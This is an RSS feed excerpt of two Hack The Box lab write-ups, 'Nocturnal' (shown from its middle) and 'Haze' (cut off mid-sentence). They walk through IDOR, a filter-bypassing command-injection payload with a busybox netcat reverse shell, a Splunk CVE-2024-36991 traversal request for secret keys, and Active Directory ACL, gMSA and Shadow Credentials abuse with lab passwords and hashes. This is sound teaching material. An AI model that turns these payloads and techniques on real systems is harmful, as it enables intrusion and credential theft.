http://nocturnal.htb/<br>|_http-server-header: nginx/1.18.0 (Ubuntu)<br>Device type: general purpose|router<br>Running: Linux 4.X|5.X, MikroTik RouterOS 7.X<br>OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3<br>OS details: Linux 4.15–5.19, MikroTik RouterOS 7.2–7.5 (Linux 5.6.3)<br>Network Distance: 2 hops<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>TRACEROUTE (using port 3306/tcp)<br>HOP RTT ADDRESS<br>1 124.90 ms 10.10.14.1<br>2 125.01 ms 10.129.246.197</pre><pre>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 15.15 seconds</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*ua15yTOxzLf4rVMk4t-xQg.png" /></figure><blockquote><em>nmap -sS -p- -T5 — max-retries 2 10.129.246.197</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*NSeUm7lySxINBU6LtRwNOg.png" /></figure><p>I started off with a basic nmap scan to identify open ports and services running on the target.</p><blockquote><em>Open Ports : 22, 80</em></blockquote><p>Navigating to the target IP via browser showed that it redirects to a virtual host: nocturnal.htb. To access it properly, I updated my /etc/hosts file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*VUt0ugNrJKj6YC0mX1-UmA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*EzXn7NRDUkpP9L_btI6jyw.png" /></figure><p>Upon exploring the site, I discovered that nocturnal.htb is running a file storage web application. After creating a fake account and logging in, I found that the application allows users to upload various document formats such as .pdf, .doc, .odt, .xlsx, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IlJUggY0KbxO1KWeb-7WzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*2AWWwSOtmyx3uPKAp1lSqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6yLoa1IKjGtZVQSK1EPsLg.png" /></figure><p>To test how the file handling worked, I uploaded a simple dummy.pdf after registering a fake user account. After the upload, I clicked on the file to view it and noticed the following URL pattern:</p><pre>http://nocturnal.htb/viewer.php?username=&lt;name&gt;&amp;file=dummy.pdf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*FMKqPz2d_wFzegv3xG_5ag.png" /></figure><p>I suspected this could be vulnerable to <strong>IDOR (Insecure Direct Object Reference)</strong>, meaning I could potentially access other users’ files by manipulating the username and file parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*tbR7SWF8kJXHopjQj4eC2A.png" /></figure><p>I intercepted the request in <strong>Burp Suite</strong> and began brute-forcing the username parameter using a small list of common names from seclists.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lYLFr859x8NuL6H5V3RWAQ.png" /></figure><p>I eventually found that using the username amanda in the URL returned a valid response. The application listed a file Amanda had uploaded: <strong>privacy.odt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*fSKgwhGFz2RNai__TZXzBw.png" /></figure><p>I then accessed the file directly using:</p><pre>http://nocturnal.htb/viewer.php?username=amanda&amp;file=privacy.odt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*wR8aftATWn95ndhjdSzVig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EZkSMjE0k6Tz1YHe23Pduw.png" /></figure><p>I downloaded and opened the privacy.odt file and, to my surprise, it contained Amanda’s cleartext password inside the document. This was likely an oversight by the user, saving sensitive credentials in an insecure file format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*Ufcz642q04vvmMqS0J_D5Q.png" /></figure><p>Using the credentials found in Amanda’s privacy.odt file, I was able to successfully log in to the <strong>admin portal</strong> of the website. This elevated access revealed an interface displaying a list of <strong>PHP source files</strong> with options to either <strong>view</strong> or <strong>download</strong> them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*JBFpW73hXJDEw5u_6np3hg.png" /></figure><p>Reviewing the contents of admin.php, I discovered that the <strong>backup feature</strong> implemented in the code lacked proper input sanitization, hinting at the possibility of <strong>command injection</strong> or <strong>file inclusion vulnerabilities</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*5Ocx-VimkaltbJ7lOy-9iQ.png" /></figure><p>After gaining access to the admin portal, I reviewed the source code of admin.php. The page listed all PHP files on the server with options to view or download them, but the real prize was the <strong>backup creation feature</strong>.</p><p>Here’s what I found:</p><ul><li>The backup form allowed the admin to create a ZIP archive of the entire directory, protected by a password the user supplies.</li><li>The password input was passed to the zip command as part of a shell call.</li><li>There was some basic input sanitization via the cleanEntry() function which blacklisted characters like ;, &amp;, |, $, spaces, and a few others aiming to prevent command injection.</li><li>The ZIP command was executed with PHP’s proc_open() function, running in the background.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*h-QS5dbl9aol-QQAy9pkJw.png" /></figure><p>I intercepted the POST request to admin.php and modified the password parameter to include shell commands.</p><p>Using URL-encoded characters to bypass the input blacklist, I submitted the following payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*w_WWriC8Jauo3ktNREjTVQ.png" /></figure><pre>POST /admin.php HTTP/1.1</pre><pre>Host: nocturnal.htb</pre><pre>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0</pre><pre>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</pre><pre>Accept-Language: en-US,en;q=0.5</pre><pre>Accept-Encoding: gzip, deflate, br</pre><pre>Content-Type: application/x-www-form-urlencoded</pre><pre>Content-Length: 40</pre><pre>Origin: <a href="http://nocturnal.htb/">http://nocturnal.htb</a></pre><pre>Connection: keep-alive</pre><pre>Referer: <a href="http://nocturnal.htb/admin.php">http://nocturnal.htb/admin.php</a></pre><pre>Cookie: PHPSESSID=qfdadsi9c2ov5tvpi3d4j5sgnb</pre><pre>Upgrade-Insecure-Requests: 1</pre><pre>Priority: u=0, i</pre><pre>password=%0abash%09-c%09&quot;whoami&quot;&amp;backup=</pre><p>Breaking it down:</p><ul><li>%0A — URL-encoded newline character, which ends the previous command.</li><li>bash -c &quot;whoami&quot; — Executes the whoami command in a new bash shell.</li><li>The tab characters %09 act as whitespace to format the command properly.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*v9oRPOPOuTWfR2fwdcHlHQ.png" /></figure><p>After confirming command injection in the backup password parameter, I crafted a payload to get a reverse shell back to my machine.</p><p>Using <strong>busybox netcat</strong>, I sent the following payload in the intercepted POST request:</p><pre>password=%0abash%09-c%09&quot;busybox%09nc%0910.10.14.20%094444%09-e%09/bin/bash”&amp;backup=</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*GEcOas5C_hPieT-HceJgtQ.png" /></figure><p>AND — Boom 💥 We got a shell :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*0ZdIaM9NHQcIb9ZTRhNANQ.png" /></figure><p>With shell access on the server, I began enumerating the file system to gather valuable information. In the home directory, I found a SQLite database file named <strong>nocturnal_database.db.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*00vkN3SkP-0LVtTKoQLayQ.png" /></figure><p>Inside, I discovered several user hashes, including one belonging to the user <strong>tobias</strong>.</p><p>Next, I exported the hashes and used <strong>Hashcat</strong> to crack them offline. After running the appropriate mode and wordlist, I successfully recovered Tobias’s password.</p><p>Armed with these credentials, I could proceed to SSH into the box as user tobias.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*00U7nqExFdizkTA20hUR9Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*qWzuKdk0OYv8X6u-wZyMgw.png" /></figure><p>During enumeration of Tobias’s environment, I discovered that the server was running an internal web service on <strong>port 8080</strong>, which was not directly accessible from the outside.</p><p>To reach this service, I set up an SSH tunnel forwarding the remote port 8080 to my local machine:</p><pre>ssh -L 8081:127.0.0.1:8080 tobias@nocturnal.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*rE930kDY1XVJl9wmgZ6ErA.png" /></figure><p>Upon accessing the ISPConfig web interface on http://127.0.0.1:8081, I tried some common default credentials and successfully logged in using:</p><ul><li><strong>Username:</strong> admin</li><li><strong>Password:</strong> slowmotionapocalypse</li></ul><p>ISPConfig is a popular server management application, and having default credentials allowed me to gain administrative access to this internal service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*8EfRE_MuT-yDx7WsCSFRcA.png" /></figure><p>While exploring ISPConfig, I discovered it was running a version vulnerable to <strong>CVE-2023–46818</strong>, a critical remote code execution vulnerability.</p><p>I found a publicly available Python exploit on GitHub targeting this vulnerability. After carefully running the exploit against the ISPConfig service, I gained root-level access to the server.</p><p><a href="https://github.com/engranaabubakar/CVE-2023-46818">GitHub - engranaabubakar/CVE-2023-46818</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*3UbdM_Teou82L1XZcnoYPA.png" /></figure><h3>Mitigations:</h3><ul><li><strong>Implement Proper Access Controls: </strong>Validate user permissions on file access endpoints to prevent IDOR vulnerabilities. Never rely solely on user-supplied parameters to access sensitive files.</li><li><strong>Secure File Uploads: </strong>Restrict allowed file types and perform thorough validation on uploaded content. Avoid storing sensitive data in user-uploaded files.</li><li><strong>Avoid Storing Credentials in Plaintext:</strong> Never store passwords or secrets in documents or code. Use secure vaults or environment variables.</li><li><strong>Use Strong Authentication:</strong> Change default credentials immediately after installation. Enforce strong password policies and multi-factor authentication where possible.</li><li><strong>Keep Software Updated: </strong>Regularly patch software such as ISPConfig and other server components to avoid known vulnerabilities like CVE-2023–46818.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=572c4eef7b18" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Haze — HTB WriteUp]]></title>
            <link>https://medium.com/@tushar_rana/haze-htb-writeup-b9db1d645841?source=rss-dd8b469532c4------2</link>
            <guid isPermaLink="false">https://medium.com/p/b9db1d645841</guid>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hackthebox-walkthrough]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[Diabl0xE]]></dc:creator>
            <pubDate>Sun, 29 Jun 2025 06:44:55 GMT</pubDate>
            <atom:updated>2025-07-06T23:50:15.017Z</atom:updated>
            <content:encoded><![CDATA[<h3>Haze — HTB Machine WriteUp</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*hJUdvguV3ayRzF5RjnCp6Q.png" /></figure><h3>About Machine:</h3><p>This machine simulates a real-world enterprise environment with a vulnerable Splunk setup and an Active Directory domain. We begin by exploiting <strong>CVE–2024–36991</strong> to gain initial access, then move on to uncover sensitive credentials, abuse Active Directory misconfigurations, including <strong>ACL abuse</strong>, <strong>GMSA password retrieval</strong>, <strong>Shadow Credentials</strong>, and <strong>Pass-the-Ticket, </strong>ultimately leading to full <strong>SYSTEM</strong> compromise. This write-up walks through each step of the attack chain.</p><h3>Initial Access:</h3><h4>Nmap Reconnaissance:</h4><pre>nmap -A 10.129.232.50    <br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-16 02:32 EDT<br>Nmap scan report for 10.129.232.50<br>Host is up (0.31s latency).<br>Not shown: 985 closed tcp ports (reset)<br>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-16 14:33:08Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=dc01.haze.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:dc01.haze.htb<br>| Not valid before: 2025-03-05T07:12:20<br>|_Not valid after:  2026-03-05T07:12:20<br>|_ssl-date: TLS randomness does not represent time<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=dc01.haze.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:dc01.haze.htb<br>| Not valid before: 2025-03-05T07:12:20<br>|_Not valid after:  2026-03-05T07:12:20<br>|_ssl-date: TLS randomness does not represent time<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=dc01.haze.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:dc01.haze.htb<br>| Not valid before: 2025-03-05T07:12:20<br>|_Not valid after:  2026-03-05T07:12:20<br>|_ssl-date: TLS randomness does not represent time<br>3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)<br>|_ssl-date: TLS randomness does not represent time<br>| ssl-cert: Subject: commonName=dc01.haze.htb<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:dc01.haze.htb<br>| Not valid before: 2025-03-05T07:12:20<br>|_Not valid after:  2026-03-05T07:12:20<br>5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>8000/tcp open  http          Splunkd httpd<br>|_http-server-header: Splunkd<br>| http-robots.txt: 1 disallowed entry <br>|_/<br>| http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8).<br>|_Requested resource was http://10.129.232.50:8000/en-US/account/login?return_to=%2Fen-US%2F<br>8088/tcp open  ssl/http      Splunkd httpd<br>|_http-server-header: Splunkd<br>| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser<br>| Not valid before: 2025-03-05T07:29:08<br>|_Not valid after:  2028-03-04T07:29:08<br>|_http-title: 404 Not Found<br>| http-robots.txt: 1 disallowed entry <br>|_/<br>8089/tcp open  ssl/http      Splunkd httpd<br>| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser<br>| Not valid before: 2025-03-05T07:29:08<br>|_Not valid after:  2028-03-04T07:29:08<br>| http-robots.txt: 1 disallowed entry <br>|_/<br>|_http-server-header: Splunkd<br>|_http-title: splunkd<br>No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).<br>TCP/IP fingerprint:<br>OS:SCAN(V=7.95%E=4%D=6/16%OT=53%CT=1%CU=31929%PV=Y%DS=2%DC=T%G=Y%TM=684FBAE<br>OS:5%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=105%TI=I%CI=I%II=I%SS=O%TS=<br>OS:A)SEQ(SP=101%GCD=1%ISR=10E%CI=I%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10B%CI=I%<br>OS:II=I%TS=A)SEQ(SP=106%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=O%TS=A)SEQ(SP=FD%GC<br>OS:D=1%ISR=104%TI=I%CI=I%II=I%TS=A)OPS(O1=M552NW8ST11%O2=M552NW8ST11%O3=M55<br>OS:2NW8NNT11%O4=M552NW8ST11%O5=M552NW8ST11%O6=M552ST11)WIN(W1=FFFF%W2=FFFF%<br>OS:W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M552NW8NNS%CC<br>OS:=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T<br>OS:=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=<br>OS:0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=80<br>OS:%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)<br><br>Network Distance: 2 hops<br>Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-time: <br>|   date: 2025-06-16T14:34:15<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required<br>|_clock-skew: 8h00m15s<br><br>TRACEROUTE (using port 21/tcp)<br>HOP RTT       ADDRESS<br>1   313.24 ms 10.10.14.1<br>2   313.54 ms 10.129.232.50<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 107.29 seconds</pre><p>We will start our enumeration using the NMAP tool. Found the following open port:</p><blockquote>Open Ports: 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5985, 8000, 8088, 8089.</blockquote><p>Moving forward with ports 8000 and 8089.</p><p>Navigating to port <strong>8000</strong> in the browser revealed a <strong>Splunk login interface</strong>, confirming that <strong>Splunk</strong> was running on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*ONRdQgDlA4BzSE_PNVW1OA.png" /></figure><p>Discovered a version of Splunk on port 8089, which is a Splunkd Management Port typically used for internal API communication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*1TfUxcln1eV7P85nvlUubQ.png" /></figure><p>Googled around about the Splunk version, discovered the version 9.2.1 is vulnerable to CVE–2024–36991. Created a Payload using the following details I got from the following blog.</p><blockquote><a href="https://www.sonicwall.com/blog/critical-splunk-vulnerability-cve-2024-36991-patch-now-to-prevent-arbitrary-file-reads">https://www.sonicwall.com/blog/critical-splunk-vulnerability-cve-2024-36991-patch-now-to-prevent-arbitrary-file-reads</a></blockquote><p>This payload successfully <strong>bypassed input sanitization</strong> and allowed me to read the win.ini file from the system , confirming that <strong>CVE-2024-36991</strong> was present and exploitable.</p><pre>http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../Windows/win.ini</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j7ZqdMlEcoKajafpawBvuQ.png" /></figure><p>After confirming the directory traversal vulnerability (CVE-2024–36991), I switched to <strong>Burp Suite</strong> for more controlled and flexible HTTP request manipulation. Using the payload below to be able to read the Splunk secret key. Here, Progra~1 refers to “ Program Files” folder to avoid issues that can be caused by spaces in the file paths.</p><pre>GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../Progra~1/Splunk/etc/auth/splunk.secret HTTP/1.1<br><br>Host: haze.htb:8000<br><br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0<br><br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br><br>Accept-Language: en-US,en;q=0.5<br><br>Accept-Encoding: gzip, deflate, br<br><br>Connection: keep-alive<br><br>Cookie: session_id_8000=0732594e33c9cd0f7b17ebd7516ac1633cfb38a6; splunkweb_uid=3D0AC42F-A183-4438-8DCA-2E30E4C347F4<br><br>Upgrade-Insecure-Requests: 1<br><br>Priority: u=0, i</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AMZ49tNFb0U1iju7nP0s1Q.png" /></figure><p>I found an <strong>bindDN password </strong>containing a hash that can be decrypted using the Splunk secret key. To do this offline, I used a handy tool from Hurricane Labs that can decrypt Splunk hashes:</p><p><a href="https://github.com/HurricaneLabs/splunksecrets">https://github.com/HurricaneLabs/splunksecrets</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1dtEl8RPFMX6QnPwAHDyZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*vEdsNKD09VfMvuiTf3T0-w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*OEmjWh-PqsXvoz9171NE2A.png" /></figure><p>Found the credential of user Paul Taylor. Confirmed it by using the NXC tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*EXw5Uxu_MZqt2m9re8VT0Q.png" /></figure><p>Retrieving users using the NXC tool. and creating a user list.</p><pre>nxc smb haze.htb -u &quot;paul.taylor&quot; -p &quot;Ld@p_Auth_Sp1unk@2k24&quot; --rid-brute | grep &quot;SidTypeUser&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*eDNUVaf-kPkjCwnc6Jlbag.png" /></figure><pre>Administrator <br>Guest <br>krbtgt <br>DC01$ <br>paul.taylor <br>mark.adams <br>edward.martin <br>alexander.green <br>Haze-IT-Backup$ </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/284/1*ksM-mRTNGJwYTdQ0GCQyWw.png" /></figure><p>After retrieving and decrypting the bindDNpassword, I performed password spraying across all enumerated domain users. This led to a successful login for the user <strong>Mark Adams</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*P61kbqRvg_R51v1HqZukbg.png" /></figure><p>Next, I used <strong>RustHound</strong> to collect Active Directory enumeration data from the target environment. The collected data was then uploaded to <strong>BloodHound</strong>, which helped visualize relationships and identify potential attack paths within the domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*8nmVPyQ0EbpoS1bVuNAs1g.png" /></figure><p>The user <strong>Mark Adams</strong> had <strong>WinRM access</strong>, which I confirmed using the nxc tool.</p><pre>nxc winrm haze.htb -u mark.adams -p &quot;Ld@p_Auth_Sp1unk@2k24&quot;<br>WINRM       10.129.232.50   5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)<br>WINRM       10.129.232.50   5985   DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24 (Pwn3d!)  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*qK9KMRwpkPwh9979puqEdA.png" /></figure><p>Diving deeper into <strong>BloodHound</strong>, I discovered that Mark Adams is a member of the <strong>GMSA_Manager</strong> group, which could potentially grant access to Group Managed Service Account (gMSA) credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*QswM5v4bxo5b8CuK1jOIVw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*9EAppa73CE00TBpElPOYlw.png" /></figure><p>Further enumeration revealed that members of the <strong>GMSA_Manager</strong> group can retrieve the gMSA password for the account <strong>haze-it-backup$</strong>. However, the PrincipalsAllowedToReadManagedPassword attribute was set to <strong>Domain Admins only</strong>, preventing Mark Adams from directly retrieving the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*FYCNfYhhAOFdo23W7XYMJA.png" /></figure><p>To escalate privileges, I modified the PrincipalsAllowedToReadManagedPassword attribute of the <strong>Haze-IT-Backup$</strong> gMSA account to include <strong>mark.adams</strong>.</p><pre>*Evil-WinRM* PS C:\temp&gt; Set-ADServiceAccount -Identity &#39;Haze-IT-Backup$&#39; -PrincipalsAllowedToRetrieveManagedPassword &#39;mark.adams&#39;<br>*Evil-WinRM* PS C:\temp&gt; Invoke-GMSAPasswordReader -Command &quot;--AccountName Haze-IT-Backup$&quot;<br>Calculating hashes for Old Value<br>[*] Input username             : Haze-IT-Backup$<br>[*] Input domain               : HAZE.HTB<br>[*] Salt                       : HAZE.HTBHaze-IT-Backup$<br>[*]       rc4_hmac             : 84D6A733D85D9E03F46EBA25B34517A9<br>[*]       aes128_cts_hmac_sha1 : 1F5BA1BC7AB8BE4D7ED051DC3E9C45C6<br>[*]       aes256_cts_hmac_sha1 : C455B59A278BFC27801245F81D61CF0B1D66D3CDAD4B4AB58B6C852141BA8B69<br>[*]       des_cbc_md5          : 9EA2310B9D2A94AB<br><br>Calculating hashes for Current Value<br>[*] Input username             : Haze-IT-Backup$<br>[*] Input domain               : HAZE.HTB<br>[*] Salt                       : HAZE.HTBHaze-IT-Backup$<br>[*]       rc4_hmac             : 4DE830D1D58C14E241AFF55F82ECDBA1<br>[*]       aes128_cts_hmac_sha1 : E186C6EA737A221E4420C6EFBD86B560<br>[*]       aes256_cts_hmac_sha1 : 876E3A97AE19AF04237E823BE2E66292F7FB560F5ADD66C87CA0CC07574C857A<br>[*]       des_cbc_md5          : 98CE015DF2B916A4</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*ZuAwr56RpthUhJf_1TS9RA.png" /></figure><p>Once the <strong>PrincipalsAllowedToReadManagedPassword</strong> attribute was updated, I used <a href="https://github.com/ricardojba/Invoke-GMSAPasswordReader/blob/main/Invoke-GMSAPasswordReader.ps1">Invoke-GMSAPasswordReader</a> to retrieve the NT hash of the <strong>Haze-IT-Backup$</strong> gMSA account.</p><pre>https://github.com/ricardojba/Invoke-GMSAPasswordReader/blob/main/Invoke-GMSAPasswordReader.ps1</pre><p>Continuing enumeration in <strong>BloodHound</strong>, I discovered that the <strong>Haze-IT-Backup$</strong> account had <strong>WriteOwner</strong> rights over the <strong>support_services</strong> group. This means I could <strong>change the owner</strong> of the group object to any user I control.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*HSwZyf5u__8c7uXlJrg2gg.png" /></figure><p>Using <strong>BloodyAD</strong>, I changed the <strong>owner of the </strong><strong>support_services group</strong> to Haze-IT-Backup$, allowing that account to take full control over the group, including modifying its membership.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*jXUniTxzjEWH-Ktxj-uYMw.png" /></figure><pre>bloodyAD --host 10.129.232.50 -d haze.htb -u Haze-IT-Backup$ -p :4DE830D1D58C14E241AFF55F82ECDBA1 set owner SUPPORT_SERVICES Haze-IT-Backup$ </pre><p>After taking ownership of the support_services group, the next step was to assign <strong>FullControl</strong> permissions to the Haze-IT-Backup$ account. For this, I used the dacledit.py script from the <strong>Impacket</strong> toolkit, which allows editing object DACLs in Active Directory.</p><pre>impacket-dacledit haze.htb/”Haze-IT-Backup$” -hashes :4DE830D1D58C14E241AFF55F82ECDBA1 -action ‘write’ -rights FullControl -target SUPPORT_SERVICES -principal Haze-IT-Backup$</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*JhAjvzKP3-On5Mm5mfijPQ.png" /></figure><p>After granting full control permissions, I added the haze-it-backup$ user to the target group (e.g., support_services) to leverage group privileges.</p><pre>bloodyAD --host 10.129.232.50 -d haze.htb -u Haze-IT-Backup$ -p :4DE830D1D58C14E241AFF55F82ECDBA1 add groupMember SUPPORT_SERVICES Haze-IT-Backup$ </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*wpoQUkRMReN_QR_-oRBSug.png" /></figure><p>While analyzing the BloodHound data, I discovered that the haze-it-backup$ account had the <strong>AddKeyCredentialLink</strong> privilege over the edward.martin user. This means we can add a malicious Key Credential to edward.martin, effectively granting ourselves access as that user via Kerberos authentication. To exploit this, I used <a href="https://github.com/ShutdownRepo/pywhisker"><strong>PyWhisker</strong></a>, a Python-based tool that lets you abuse AddKeyCredentialLink permissions. The process was as follows:</p><ol><li>I generated a new RSA key pair.</li><li>Used PyWhisker to <strong>inject the public key</strong> into the msDS-KeyCredentialLink attribute of the edward.martin user.</li><li>Once the malicious credential was added, I authenticated as edward.martin using <strong>PKINIT</strong> via the injected key.</li><li>From there, I successfully <strong>requested a TGT</strong> (Ticket Granting Ticket) for edward.martin.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*G5IQCyW2igTS5HKM2DyZkw.png" /></figure><pre>pywhisker -d haze.htb -u Haze-IT-Backup$ -H :4DE830D1D58C14E241AFF55F82ECDBA1 --target &quot;edward.martin&quot; --action &quot;add&quot; -f edward</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*KXYHkY0bXhclBLwcvB1KPg.png" /></figure><p>After obtaining the TGT, I extracted the <strong>NTLM hash</strong> of the user using the pkinittools suite. This hash can now be reused for further lateral movement or privilege escalation attacks within the environment.</p><blockquote>Note: Run pkinittools in a Python virtual environment.</blockquote><p><a href="https://github.com/dirkjanm/PKINITtools">https://github.com/dirkjanm/PKINITtools</a></p><pre>python3 -m venv venv <br>source venv/bin/activate<br>pip install minikerberos<br>ntpdate haze.htb<br>python3 gettgtpkinit.py haze.htb/edward.martin -cert-pfx ~/haze/edward.pfx -pfx-pass dk5fQwNRqaiNklisIJHJ edward.ccache</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*TnN0J3VQRaVJvXLcGp3kaQ.png" /></figure><pre>export KRB5CCNAME=edward.ccache <br>python3 getnthash.py -key 0adb5d2ef942f33e0adc7fa948759e42309c2b85e0a461cda31c4e632c9c5466 haze.htb/edward.martin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*X0JU0JQ5sOTRy77WaGflRA.png" /></figure><p>Finally used 